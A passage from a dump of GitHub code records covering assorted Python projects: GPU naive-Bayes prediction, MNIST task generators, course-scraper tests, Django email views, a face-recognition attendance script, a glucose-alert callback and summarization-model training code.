extractInvDiag(precision[-1],covs[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[i])\n return precision\n\n#we use the mahalonombis distance as a meaningful approximation to determine class assignment\ndef makePredictions(vectors,means,precisions,streams):\n #first we initialize an array to set the length\n results = []\n vecs = []\n #get all the results ready \n for _ in range(len(vectors)):\n results.append(gpuarray.to_gpu_async(np.zeros(NUM_CLASSES,dtype=np.float32),stream=streams[0]))\n\n for i in range(NUM_CLASSES):\n #square precision matrix values here so we only do it once\n square(precisions[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[i])\n vecs.append(gpuarray.to_gpu_async(np.zeros(VECTOR_LEN,dtype=np.float32),stream=streams[i]))\n\n streams[0].synchronize()\n \n for vi in range(len(vectors)):\n for i in range(NUM_CLASSES):\n shift(vecs[i],vectors[vi],means[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[i])\n square(vecs[i],block=SAMPLE_BLOCK,grid=SAMPLE_GRID,stream=streams[i])\n dot(results[vi],precisions[i],vecs[i],np.int32(i),block=SAMPLE_BLOCK,grid=SAMPLE_BLOCK,stream=streams[i])\n \n finalRes = []\n for res in results:\n finalRes.append(np.argmin(res.get_async(stream = streams[0])))\n\n return finalRes\n\n \n \n \n","repo_name":"jakeypakey/naive_bayes_cuda","sub_path":"pythonFunctions.py","file_name":"pythonFunctions.py","file_ext":"py","file_size_in_byte":6954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41233305936","text":"import numpy as np\nimport seqtools\nimport torch\nfrom torchvision import datasets as torch_datasets\nfrom torchvision import transforms\nfrom copy import deepcopy\nimport gzip\nimport pickle\nimport matplotlib.pyplot as plt\nimport utils\nimport random\n\nrandom.seed(1)\ntorch.manual_seed(1)\ntorch.cuda.manual_seed(1)\ndtype_default = np.float32\nnp.random.seed(1)\n\n\nclass PermutedMnistGenerator:\n def __init__(self, max_iter=5):\n f = gzip.open('../data/mnist.pkl.gz', 'rb')\n u = pickle._Unpickler(f)\n u.encoding = 'latin1'\n train_set, valid_set, test_set = u.load()\n f.close()\n\n self.X_train = np.vstack((train_set[0], valid_set[0]))\n self.Y_train = np.hstack((train_set[1], valid_set[1]))\n self.X_test = test_set[0]\n self.Y_test = test_set[1]\n self.max_iter = max_iter\n self.cur_iter = 0\n\n def get_dims(self):\n # Get data input and output dimensions\n return self.X_train.shape[0], self.X_train.shape[1], 10\n\n def next_task(self):\n if self.cur_iter >= self.max_iter:\n raise Exception('Number of tasks exceeded!')\n else:\n np.random.seed(self.cur_iter)\n perm_inds = np.array(range(self.X_train.shape[1]))\n np.random.shuffle(perm_inds)\n\n # Retrieve train data\n next_x_train = deepcopy(self.X_train)\n next_x_train = next_x_train[:, perm_inds]\n next_y_train = np.eye(10)[self.Y_train]\n\n # Retrieve test data\n next_x_test = deepcopy(self.X_test)\n next_x_test = next_x_test[:, perm_inds]\n next_y_test = np.eye(10)[self.Y_test]\n\n self.cur_iter += 1\n\n return next_x_train, next_y_train, next_x_test, next_y_test\n\n\nclass SplitMnistGenerator:\n def __init__(self):\n f = gzip.open('../data/mnist.pkl.gz', 'rb')\n u = pickle._Unpickler(f)\n u.encoding = 'latin1'\n train_set, valid_set, test_set = u.load()\n f.close()\n\n self.X_train = np.vstack((train_set[0], valid_set[0]))\n self.X_test = test_set[0]\n self.train_label = np.hstack((train_set[1], valid_set[1]))\n self.test_label = test_set[1]\n\n self.sets_0 = [0, 2, 4, 6, 8]\n self.sets_1 = [1, 3, 5, 7, 9]\n self.max_iter = len(self.sets_0)\n self.cur_iter = 0\n\n def get_dims(self):\n # Get data input and output dimensions\n return self.X_train.shape[0], self.X_train.shape[1], 2\n\n def next_task(self):\n if self.cur_iter >= self.max_iter:\n raise Exception('Number of tasks exceeded!')\n else:\n # Retrieve train data\n train_0_id = np.where(self.train_label == self.sets_0[self.cur_iter])[0]\n train_1_id = np.where(self.train_label == self.sets_1[self.cur_iter])[0]\n next_x_train = np.vstack((self.X_train[train_0_id], self.X_train[train_1_id]))\n\n next_y_train = np.vstack((np.ones((train_0_id.shape[0], 1)), np.zeros((train_1_id.shape[0], 1))))\n next_y_train = np.hstack((next_y_train, 1-next_y_train))\n\n # Retrieve test data\n test_0_id = np.where(self.test_label == self.sets_0[self.cur_iter])[0]\n test_1_id = np.where(self.test_label == self.sets_1[self.cur_iter])[0]\n next_x_test = np.vstack((self.X_test[test_0_id], self.X_test[test_1_id]))\n\n next_y_test = np.vstack((np.ones((test_0_id.shape[0], 1)), np.zeros((test_1_id.shape[0], 1))))\n next_y_test = np.hstack((next_y_test, 1-next_y_test))\n\n self.cur_iter += 1\n\n return next_x_train, next_y_train, next_x_test, next_y_test\n","repo_name":"hudsonchen/FS-REG","sub_path":"cl/dataset_cl.py","file_name":"dataset_cl.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6222313089","text":"from course_scraper import CourseScraper\nfrom ucsb_api_client import UCSB_API_Client\nfrom major_scraper import MajorScraper\nfrom readers import build_depts_list, build_majors_list\nfrom datatypes import Course\nfrom typing import List\nimport pytest\n\n\ncs = CourseScraper()\nclient = UCSB_API_Client()\nms = MajorScraper()\n\n\nfor dept in build_depts_list():\n if dept.abbreviation == 'MATH':\n math_dept = dept\n elif dept.abbreviation == 'MATH CS':\n ccs_math_dept = dept\n elif dept.abbreviation == 'CH E':\n cheme_dept = dept\n elif dept.abbreviation == 'ED':\n ed_grad_dept = dept\n elif dept.abbreviation == 'EDS':\n env_ds_dept = dept\n elif dept.abbreviation == 'PSTAT':\n pstat_dept = dept\n\n\ndef test_dept_url():\n assert cs.dept_to_url(math_dept) == \\\n 'https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/ls-intro/math.aspx?DeptTab=Courses'\n\n assert cs.dept_to_url(ccs_math_dept) == \\\n 'https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/ccs/Courses.aspx'\n\n assert cs.dept_to_url(cheme_dept) == \\\n 'https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/coe/chemengr.aspx?DeptTab=Courses'\n\n assert cs.dept_to_url(ed_grad_dept) == \\\n 'https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/ggse/Education.aspx?DeptTab=Courses'\n\n assert cs.dept_to_url(env_ds_dept) == \\\n 'https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/bren/?DeptTab=Courses'\n\n\ndef test_compile_data():\n assert cs.compile_data('https://my.sa.ucsb.edu/catalog/Current/CollegesDepartments/math.aspx?DeptTab=Courses', math_dept) == []\n\n math_data = cs.compile_data(cs.dept_to_url(math_dept), math_dept)\n\n first_course = math_data[0]\n\n assert first_course.title == 'Calculus with Algebra and Trigonometry'\n assert first_course.dept == 'MATH'\n assert first_course.number == '2A'\n assert first_course.professor == 'STAFF'\n assert first_course.units == '5'\n assert first_course.college == 'L&S'\n assert first_course.description == 'Math 3A with precalculus: A function approach integrating algebra, trigonometry, and ' \\\n 'differential calculus. Topics include: one-on-one and onto functions; inverse functions; properties and graphs of polynomial, ' \\\n 'rational, exponential, and logarithmic functions; properties and graphs of trigonometric functions; analytic geometry; functions ' \\\n 'and limits; derivatives; techniques and applications of differentiation; introduction to integration; logarithmic and trigonometric functions.'\n\n assert first_course.comments == 'Students who have completed Math 34A will only receive 3 units for Math 2A. Not open for credit to ' \\\n 'students who have completed Math 3A or 3AS or have passed the AP Calculus AB or BC exams.'\n\n assert first_course.recommended_prep == ''\n\n twentieth_course = math_data[20]\n\n assert twentieth_course.title == 'Modern Euclidean and Noneuclidean Geometry'\n assert twentieth_course.units == '4'\n assert twentieth_course.dept == 'MATH'\n assert twentieth_course.professor == 'STAFF'\n\n ind_studies = [course for course in math_data if course.number == '199'][0]\n\n assert ind_studies.title == 'Independent Studies in Mathematics'\n assert ind_studies.units == '1-5'\n assert ind_studies.comments == 'Students must have a cumulative 3.0 for the proceeding 3 quarter(s). Limit of 5 units per quarter and ' \\\n '30 units total in all independent studies courses (98/99/99RA/198/199/199AA-ZZ) combined. Only 8 units in Math 197/199AA-ZZ courses ' \\\n 'may apply to the major.'\n assert ind_studies.description == 'Coursework consists of academic research supervised by a faculty member on a topic not available ' \\\n 'in established course offerings.'\n\n pstat_dept_courses: List[Course] = cs.compile_data(\n cs.dept_to_url(pstat_dept), pstat_dept\n )\n titles = [course.title for course in pstat_dept_courses]\n\n assert 'Principles of Data Science with R' in titles\n assert 'STOCHASTIC CALCULUS AND APPLICATIONS' in titles\n\n\n@pytest.mark.noapi\ndef test_api_client():\n winter_courses = client.get_courses_json('20231')\n assert winter_courses['classes'][0]['title'] == 'INTRO CULT ANTHRO'\n assert set(client.get_offered_courses(math_dept, 2020, 2022)['Spring 2020']['3A']) == set(['QNT', 'C'])\n\n\ndef test_major_scraper():\n anth_major = build_majors_list()[0]\n assert ms.get_major_requirements(anth_major)[2] == 'Anthropology 5'\n assert ms.get_major_requirements(anth_major)[4] == 'I. Ten courses from full A nthropology curriculum'\n","repo_name":"aneziac/courses_graph","sub_path":"scraper/test_scraper.py","file_name":"test_scraper.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"8966096950","text":"# Task :\n#\n# form the given list find the possible 2 digit valid numbers\n\ndef validate(my_list):\n n = len(my_list)\n found = False\n\n for i in range(n):\n if(my_list[i] >= 10 and my_list[i] <= 99):\n print(my_list[i])\n found = True\n\n if(found == False):\n print('No 2 digit unique number found')\n","repo_name":"NeeleshVashist/Python-Practice","sub_path":"Class Questions/Module Practice/3 Modules/valid_numbers.py","file_name":"valid_numbers.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34412872741","text":"from django.http import HttpResponse\nfrom django.core.mail import send_mail, BadHeaderError, EmailMessage\n\ndef enviarcontato(request): \n subject = 'Contato enviado por ' + request.POST.get('name', '')\n from_email = request.POST.get('email', '') \n \n telefone = request.POST.get('phone', '')\n message = request.POST.get('message', '') + '\\n Fone:' + telefone\n \n if subject and from_email:\n try:\n email = EmailMessage(subject, message, from_email, ['contato@formsteril.com.br'])\n email.send() \n except BadHeaderError:\n return HttpResponse(\"500 bad request\")\n return HttpResponse(\"200 ok\")\n # return HttpResponseRedirect('/contact/thanks/')\n else:\n # In reality we'd use a form class\n # to get proper validation errors.\n return HttpResponse(\"\")\n \n \ndef enviarcv(request): \n subject = 'Curriculum enviado por ' + request.POST.get('nome', '') \n telefone = request.POST.get('telefone', '')\n cargo = request.POST.get('cargo', '')\n message = request.POST.get('body', '') + '\\n Fone:' + telefone + '\\n Cargo:' + cargo\n from_email = request.POST.get('email', '')\n # Verificando campos obrigatorios \n if subject and from_email:\n try: \n email = EmailMessage(subject, message, from_email, ['queroser@adlconsultoria.com.br'])\n if request.FILES:\n file = request.FILES['arquivo'].read()\n filename = request.FILES['arquivo'].name\n filesize= request.FILES['arquivo'].size \n # Validado o tamnho do arquivo\n if filesize >= 500001:\n return HttpResponse(\"\") \n email.attach(filename, file)\n email.send() \n except BadHeaderError:\n return HttpResponse(\"\") \n return HttpResponse(\"\")\n # return HttpResponseRedirect('/contact/thanks/')\n else:\n # In reality we'd use a form class\n # to get proper validation errors.\n return HttpResponse(\"\")\n\ndef healthcheck(request):\n return HttpResponse(\"OK 200\")\n","repo_name":"rzamba/formsteril","sub_path":"site/apps/adldjango/contato/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33177589771","text":"# def test():\r\n# return 3 * 2\r\n# test()\r\n\r\nsum_value = 0\r\nto_continue = False\r\n\r\n#convert this to dictionary.\r\n\r\ndef math_opertation(math_val,math_opt,math_next_val):\r\n if math_opt == '*':\r\n return math_val * math_next_val\r\n elif math_opt == '/':\r\n return math_val / math_next_val\r\n elif math_opt == '+':\r\n return math_val + math_next_val\r\n elif math_opt == '-':\r\n return math_val - math_next_val\r\n\r\n\r\nwhile not False:\r\n if to_continue == True:\r\n\r\n math_val = sum_value\r\n math_opt = input(\"+ \\n- \\n* \\n/ \\nPick an operation: \")\r\n math_next_val = float(input(\"What\\'s the next number?: \"))\r\n\r\n sum_value = math_opertation(math_val,math_opt,math_next_val)\r\n\r\n print(f'{math_val} {math_opt} {math_next_val} = {sum_value}')\r\n\r\n elif to_continue == False:\r\n \r\n math_val = float(input(\"What\\'s the first number?: \"))\r\n math_opt = input(\"+ \\n- \\n* \\n/ \\nPick an operation: \")\r\n math_next_val = float(input(\"What\\'s the next number?: \"))\r\n\r\n sum_value = math_opertation(math_val,math_opt,math_next_val)\r\n\r\n print(f'{math_val} {math_opt} {math_next_val} = {sum_value}')\r\n\r\n\r\n\r\n next_act= input(f\"Type 'y' to continue calculating with {sum_value}, or type 'n' to start a new calculation: \")\r\n\r\n if next_act.lower() == 'y':\r\n to_continue = True\r\n elif next_act.lower() == 'n':\r\n to_continue = False\r\n\r\n\r\n","repo_name":"laysiong/Coding-Practices","sub_path":"Python-Udemy_100_Days_of_Code/Basic_Python/Day_10_Calculator/Day10_Calculator.py","file_name":"Day10_Calculator.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43378360356","text":"from enum import Enum\nfrom typing import AnyStr, Dict, Optional, Tuple\n\nfrom marshmallow import Schema, fields, validate\nfrom she_logging import logger\n\nfrom dhos_async_adapter.clients import messages_api, services_api\nfrom dhos_async_adapter.helpers.exceptions import RejectMessageError\nfrom dhos_async_adapter.helpers.validation import validate_message_body_dict\n\nROUTING_KEY = \"gdm.424167000\"\n\n\nclass AlertType(Enum):\n COUNTS_RED = \"COUNTS_RED\"\n COUNTS_AMBER = \"COUNTS_AMBER\"\n PERCENTAGES_RED = \"PERCENTAGES_RED\"\n PERCENTAGES_AMBER = \"PERCENTAGES_AMBER\"\n ACTIVITY_GREY = \"ACTIVITY_GREY\"\n\n\nclass BgReadingAlertMessage(Schema):\n\n patient_uuid = fields.String(required=True, description=\"Patient UUID\")\n alert_type = fields.String(\n required=True,\n description=\"The alert type and system\",\n validate=validate.OneOf([t.value for t in AlertType]),\n )\n\n\ndef process(body: AnyStr) -> None:\n \"\"\"\n - Summary: Sends BG readings alert messages using the Messages API.\n - Routing Key: gdm.424167000\n - Body: An object containing a patient UUID and alert type\n - Notes: Sends an alert message to each location the patient belongs to. Aborts if patient is not a GDM patient.\n - Endpoint(s):\n - GET /dhos-services/dhos/v1/patient\n - POST /dhos-messages/dhos/v1/message\n \"\"\"\n logger.info(\"Received 'BG reading alert' message (%s)\", ROUTING_KEY)\n\n # Load and validate message body.\n logger.debug(\n \"BG reading alert message body (%s)\",\n ROUTING_KEY,\n extra={\"message_body\": body},\n )\n alert_message: Dict = validate_message_body_dict(body, BgReadingAlertMessage)\n patient_uuid: str = alert_message[\"patient_uuid\"]\n alert_type: AlertType = AlertType(alert_message[\"alert_type\"])\n\n if alert_type == AlertType.ACTIVITY_GREY:\n # We don't send alert messages for activity alerts.\n logger.info(\"No alert message to generate for patient %s\", patient_uuid)\n return\n\n patient_details: Optional[Dict] = services_api.get_patient(\n patient_uuid=patient_uuid, product_name=\"GDM\"\n )\n if patient_details is None:\n logger.info(\n \"Patient %s is not a GDM patient, aborting BG reading alert\", patient_uuid\n )\n return\n\n (alert_type_value, msg_body) = _extract_alert_message_details(\n alert_type=alert_type, first_name=patient_details[\"first_name\"]\n )\n\n # Create a message in Messages API for each of the patient's locations.\n for location in patient_details[\"locations\"]:\n logger.info(\"Creating alert message for location %s\", location)\n message_details: Dict = {\n \"sender\": patient_uuid,\n \"sender_type\": \"patient\",\n \"receiver\": location,\n \"receiver_type\": \"location\",\n \"message_type\": {\"value\": alert_type_value},\n \"content\": msg_body,\n }\n # Post message to Messages API.\n messages_api.create_message(message_details)\n\n\ndef _extract_alert_message_details(\n alert_type: AlertType, first_name: str\n) -> Tuple[int, str]:\n \"\"\"\n Constructs alert message value (integer) and text for a given alert type.\n 7 is the enum value for red alert message in Messages API.\n 8 is the enum value for amber alert message in Messages API.\n \"\"\"\n if alert_type == AlertType.COUNTS_RED:\n return (\n 7,\n f\"{first_name} has posted at least 3 consecutive out of threshold readings for this meal time.\",\n )\n elif alert_type == AlertType.COUNTS_AMBER:\n return (\n 8,\n f\"{first_name} has posted at least 2 out of threshold readings\"\n f\" within the past 2 days where readings were taken\",\n )\n elif alert_type == AlertType.PERCENTAGES_RED:\n return (\n 7,\n f\"At least 30% of readings posted by {first_name} in the last 7 days have been out of threshold.\",\n )\n elif alert_type == AlertType.PERCENTAGES_AMBER:\n return (\n 8,\n f\"Between 10% and 30% of readings posted by {first_name} in the last 7 days have been out of threshold.\",\n )\n # Can't get here due to previous validation.\n logger.error(\"Unknown alert type\")\n raise RejectMessageError()\n","repo_name":"huma-engineering/polaris-async-adapter","sub_path":"dhos_async_adapter/callbacks/bg_reading_alert.py","file_name":"bg_reading_alert.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3513813891","text":"import cv2\nimport numpy as np\nimport face_recognition\nimport os\nfrom datetime import datetime\n\npath = 'ImagesAttendance'\nimages = []\nclass_names = []\nmy_list = os.listdir(path)\nprint(my_list)\n\nfor image_name in my_list:\n current_image = cv2.imread(f'{path}/{image_name}')\n images.append(current_image)\n class_names.append(os.path.splitext(image_name)[0])\nprint(class_names)\n\n\ndef find_encodings(images):\n encode_list = []\n for img in images:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n encode_img = face_recognition.face_encodings(img)\n encode_list.append(encode_img)\n\n return encode_list\n\n\ndef mark_attendance(name):\n with open(\"Attendance_data.csv\", \"r+\") as f:\n data_list = f.readlines()\n name_list = []\n for line in data_list:\n entry = line.split(',')\n name_list.append(entry[0])\n if name not in name_list:\n now = datetime.now()\n date_string = now.strftime(\"%H:%M:%S\")\n f.writelines(f\"\\n{name},{date_string}\")\n\n\nencode_known_list = find_encodings(images)\nprint(\"Encoding Complete\")\n\nvideo_capture = cv2.VideoCapture(0)\nwhile True:\n success, img = video_capture.read()\n small_img = cv2.resize(img, (0, 0), None, 0.25, 0.25)\n small_img = cv2.cvtColor(small_img, cv2.COLOR_BGR2RGB)\n\n faces_current_frame = face_recognition.face_locations(small_img)\n encode_current_frame = face_recognition.face_encodings(small_img, faces_current_frame)\n\n for encode_face, face_loc in zip(encode_current_frame, faces_current_frame):\n\n matches = face_recognition.compare_faces(encode_known_list[0], encode_face)\n face_dist = face_recognition.face_distance(encode_known_list[0], encode_face)\n\n print(face_dist)\n match_index = np.argmin(face_dist)\n\n if matches[match_index]:\n name = class_names[match_index].upper()\n print(name)\n y1, x2, y2, x1 = face_loc\n y1, x2, y2, x1 = y1 * 4, x2 * 4, y2 * 4, x1 * 4\n cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n cv2.rectangle(img, (x1, y2 - 35), (x2, y2), (0, 255, 0), cv2.FILLED)\n cv2.putText(img, name, (x1 + 6, y2 - 6), cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 255), 2)\n mark_attendance(name)\n\n cv2.imshow('webcam', img)\n cv2.waitKey(1)\n","repo_name":"IamXolisaniNgcobo/face_attendance","sub_path":"attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4702869153","text":"from cpgReport import *\nfrom CGATReport.Tracker import *\nfrom CGATReport.odict import OrderedDict as odict\n\n##########################################################################\n##########################################################################\n\n\nclass genesCoveredByNMI(cpgTracker):\n\n ''''''\n ANNOTATIONS_NAME = P['annotations_name']\n mPattern = \"_replicated_\" + ANNOTATIONS_NAME + \"_genes_capseq_overlap$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct o.gene_id, i.gene_name, capseq_nover, length, capseq_pover1, capseq_pover2 \n from %(track)s_replicated_%(ANNOTATIONS_NAME)s_genes_capseq_overlap o, annotations.transcript_info i\n where capseq_pover1>90\n and o.gene_id=i.gene_id\n and o.length > 1000\n order by length desc '''\n print(query)\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass genesWithNMI(cpgTracker):\n\n ''''''\n ANNOTATIONS_NAME = P['annotations_name']\n mPattern = \"_replicated_\" + ANNOTATIONS_NAME + \"_genes_capseq_overlap$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct o.gene_id, i.gene_name, capseq_nover, length, capseq_pover1, capseq_pover2 \n from %(track)s_replicated_%(ANNOTATIONS_NAME)s_genes_capseq_overlap o, annotations.transcript_info i\n where capseq_pover1 <10\n and capseq_pover1 >0\n and o.gene_id=i.gene_id\n and o.length > 1000\n and o.length < 15000\n order by length desc '''\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass overlappedGenesGOAnalysisBP(cpgTracker):\n\n '''GO analysis biological process'''\n mPattern = \"_overlapped_genes_go_biol_process$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct goid, description, scount as genes, bcount as genes_with_term, spercent as percent_of_list, ratio as Enrichment, fdr\n from %(track)s_overlapped_genes_go_biol_process\n where fdr < 0.05\n order by fdr asc, scount desc '''\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass overlappedGenesGOAnalysisCL(cpgTracker):\n\n '''GO analysis '''\n mPattern = \"_overlapped_genes_go_cell_location$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct goid, description, scount as genes, bcount as genes_with_term, spercent as percent_of_list, ratio as Enrichment, fdr \n from %(track)s_overlapped_genes_go_cell_location\n where fdr < 0.05\n order by fdr asc, scount desc '''\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass overlappedGenesGOAnalysisMF(cpgTracker):\n\n '''GO analysis '''\n mPattern = \"_overlapped_genes_go_mol_function$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct goid, description, scount as genes, bcount as genes_with_term, spercent as percent_of_list, ratio as Enrichment, fdr \n from %(track)s_overlapped_genes_go_mol_function\n where fdr < 0.05\n order by fdr asc, scount desc '''\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass overlappedGenesGOSlimAnalysisBP(cpgTracker):\n\n '''GO slim analysis '''\n mPattern = \"_overlapped_genes_goslim_biol_process$\"\n\n def __call__(self, track, slice=None):\n query = '''select distinct goid, description, scount as genes, bcount as genes_with_term, spercent as percent_of_list, ratio as Enrichment, fdr\n from %(track)s_overlapped_genes_goslim_biol_process\n where fdr < 0.05\n order by fdr asc, scount desc '''\n data = self.getAll(query)\n return data\n\n##########################################################################\n\n\nclass overlappedGenesCapseqProfile(TrackerImages):\n\n \"\"\"CAPseq profile per gene \"\"\"\n\n##########################################################################\n\n\nclass overlappedGenesH3K27Profile(TrackerImages):\n\n \"\"\"Chromatin profile per gene\"\"\"\n\n##########################################################################\n\n\nclass overlappedGenesH3K4Profile(TrackerImages):\n\n \"\"\"Chromatin profile per gene\"\"\"\n\n##########################################################################\n\n\nclass overlappedGenesH3K27Venn(TrackerImages):\n\n \"\"\"intersection of overlapped genes and H3K27Me3 intervals\"\"\"\n\n##########################################################################\n\n\nclass overlappedGenesTissueVenn(TrackerImages):\n\n \"\"\"Conservation of overlapped genes across tissues\"\"\"\n\n##########################################################################\n\n\nclass polycombGAT(cpgTracker):\n\n \"\"\"genomic assocation of H3K27Me3 intervals and genes overlapped >90% by NMIs\"\"\"\n mPattern = \"overlapped_genes_gat_results$\"\n\n def __call__(self, track, slice=None):\n data = self.get(\n \"SELECT track, annotation, round(expected,0) as expected, observed, round(fold,1) as fold, pvalue FROM overlapped_genes_gat_results \")\n return odict(list(zip((\"Dataset1\", \"Dataset2\", \"Expected overlap\", \"Observed overlap\", \"Fold Enrichment\", \"P-value\"), list(zip(*data)))))\n\n##########################################################################\n\n\nclass polycombIntersection(cpgTracker):\n\n \"\"\"Intersection of H3K27Me3 intervals and genes overlapped >90% by NMIs\"\"\"\n mPattern = \"overlapped_genes_h3k27me3_venn$\"\n\n def __call__(self, track, slice=None):\n query = '''select track, chromatin_track, total_merged_intervals, track_and_chromatin_track, track_only, chromatin_track_only,\n round((0.0+track_and_chromatin_track)/(track_and_chromatin_track+track_only+0.0)*100,2) as percent_track,\n round((0.0+track_and_chromatin_track)/(track_and_chromatin_track+chromatin_track_only+0.0)*100,2) as percent_chromatin_track\n from overlapped_genes_h3k27me3_venn'''\n data = self.getAll(query)\n return data\n","repo_name":"CGATOxford/CGATPipelines","sub_path":"CGATPipelines/pipeline_docs/pipeline_proj007/trackers/macs_replicated_overlapped_genes.py","file_name":"macs_replicated_overlapped_genes.py","file_ext":"py","file_size_in_byte":6520,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"54"} +{"seq_id":"37036523887","text":"from __future__ import unicode_literals, print_function, division\n\nimport pickle\n\nimport torch\nimport sys, os\nimport spacy\n\nsamuel = '/srv/'\nx99 = '/home/'\ncurrent =x99\n\nsys.path.append(current + 'havikbot/MasterThesis/Code/Abstractive_Summarization/')\n\nfrom PointerGenerator.model import *\nfrom PointerGenerator.data_loader import *\nfrom PointerGenerator.rl_model import *\n#from model import *\n#from data_loader import *\n\nuse_cuda = torch.cuda.is_available()\n\ndata_path = 'havikbot/MasterThesis/Data/'\nmodel_path = 'havikbot/MasterThesis/Models/'\n\n\ndata_set_name_dm = 'DM_25k_summary_v2.pickle'\ndata_dm_v2 = 'DM_50k.pickle'\ndata_set_name_nyt = 'NYT_40k_summary_v3.pickle'\ndata_set_nyt_filtered = 'NYT_40k_filtered_v1.pickle'\ndataset_dm_cnn = 'DM_cnn_50k.pickle'\ndataset_dm_cnn_v2 = 'DM_cnn_50k_online.pickle'\n\nwith open(current + data_path +dataset_dm_cnn_v2 , 'rb') as f: dataset = pickle.load(f)\ntraining_pairs = dataset.summary_pairs[0:int(len(dataset.summary_pairs)*0.9)]\ntest_pairs = dataset.summary_pairs[int(len(dataset.summary_pairs)*0.9):]\n\n# 'TemporalAttn' or CoverageAttn\n\nconfig = {'model_type': 'TemporalAttn',\n 'embedding_size': 128, 'hidden_size': 256,\n 'input_length': 400, 'target_length': 60,\n 'model_path': current+ model_path, 'model_id': 'DM_CNN_50k_Temporal_novelty' }\n\n\npointer_gen_model = PGmodel_reinforcement(config=config, vocab=dataset.vocab, use_cuda=use_cuda)\n#pointer_gen_model.load_model(file_path=current + 'havikbot/MasterThesis/Models/',\n #file_name='checkpoint_DM_CNN_50k_CoverageAttn_26_feb_ep@8_loss@4049.408.pickle')\n\n'''\npointer_gen_model.train_rl(data=training_pairs, val_data=test_pairs,\n nb_epochs=25, batch_size=32,\n optimizer=torch.optim.Adam, lr=0.00005,\n tf_ratio=0.75, stop_criterion=None,\n use_cuda=True, print_evry=200\n )\n\n\n'''\n\n\ndef remove_http_url(text): return ' '.join([w for w in text.split(\" \") if '.co' not in w and 'http' not in w])\n\n\ndef tokenize_text(nlp, text):\n text = text.replace(\"(S)\", \"\").replace(\"(M)\", \"\").replace(\"‘\", \"'\").replace(\"’\", \"'\")\n text = remove_http_url(text)\n text = text.replace(\" \", \" \").replace(\" \", \" \")\n return \" \".join([t.text for t in nlp(text)]).replace(\"' '\", \"''\")\n\n\n\n\n\n\ndef predict_and_print(pair, model, limit):\n #pred = model.predict([pair], limit, False, use_cuda)\n pred_beam = model.predict([pair], limit, 5, use_cuda)\n ref = pair.get_text(pair.full_target_tokens, pointer_gen_model.vocab).replace(\" EOS\", \"\")\n #arg_max = \" \".join([t[0]['word'] for t in pred if t[0]['word'] != 'EOS' and t[0]['word'] != 'PAD'])\n arg_max = \"\"\n if len(pred_beam[0][0]) > 15:\n beam = pred_beam[0][0]\n else:\n beam = pred_beam[1][0].replace(' EOS', \"\").replace(\" PAD\", \"\")\n results = {'ref': ref, 'greedy': arg_max, 'beam': beam}\n return results\n\ndef test_on_new_article(path, file_name, text, model, vocab):\n nlp = spacy.load('en')\n if text is None:\n text = \" \".join(open(path + file_name, 'r').readlines())\n text = tokenize_text(nlp, text)\n text_pair = TextPair(text, '', 1000, vocab)\n result = predict_and_print(text_pair, model, limit=75)\n\ndef predict_from_data(test_pairs, _range=(1010, 1100), model=None):\n results = dict()\n count = 0\n for i in range(_range[0], _range[1]):\n count += 1\n #if count % 25 == 0: print(count)\n pair = test_pairs[i]\n results[i] = predict_and_print(pair, model, 75)\n return results\n\ndef save_predictions(result_dict, path, name):\n import json\n with open(path + name+\".json\", 'w') as f: f.write(json.dumps(result_dict))\n\n\ndef predict_greedy(test_pairs, _range=(0, 100), model=None, batch_size=50):\n pairs = test_pairs[_range[0]:_range[1]]\n results = dict()\n for i in range(int(len(pairs) / batch_size)):\n preds = model.predict(pairs[i*batch_size:(i+1)*batch_size], 75, False, use_cuda)\n for p in range(batch_size):\n pair = pairs[(i * batch_size) + p]\n ref = pair.get_text(pair.full_target_tokens, pointer_gen_model.vocab).replace(\" EOS\", \"\")\n seq = [t[p] for t in preds]\n arg_max = \" \".join([s['word'] for s in seq if s['word'] != 'EOS' and s['word'] != 'PAD'])\n full_text = pair.get_text(pair.full_source_tokens, pointer_gen_model.vocab).replace(\" EOS\", \"\")\n #for s in seq: print(s)\n results[(i*batch_size) + p] = {'ref': ref, 'greedy': arg_max, 'beam': '', 'text': full_text}\n\n return results\n\n\nfrom Analysis import novelty as novelty\nfrom 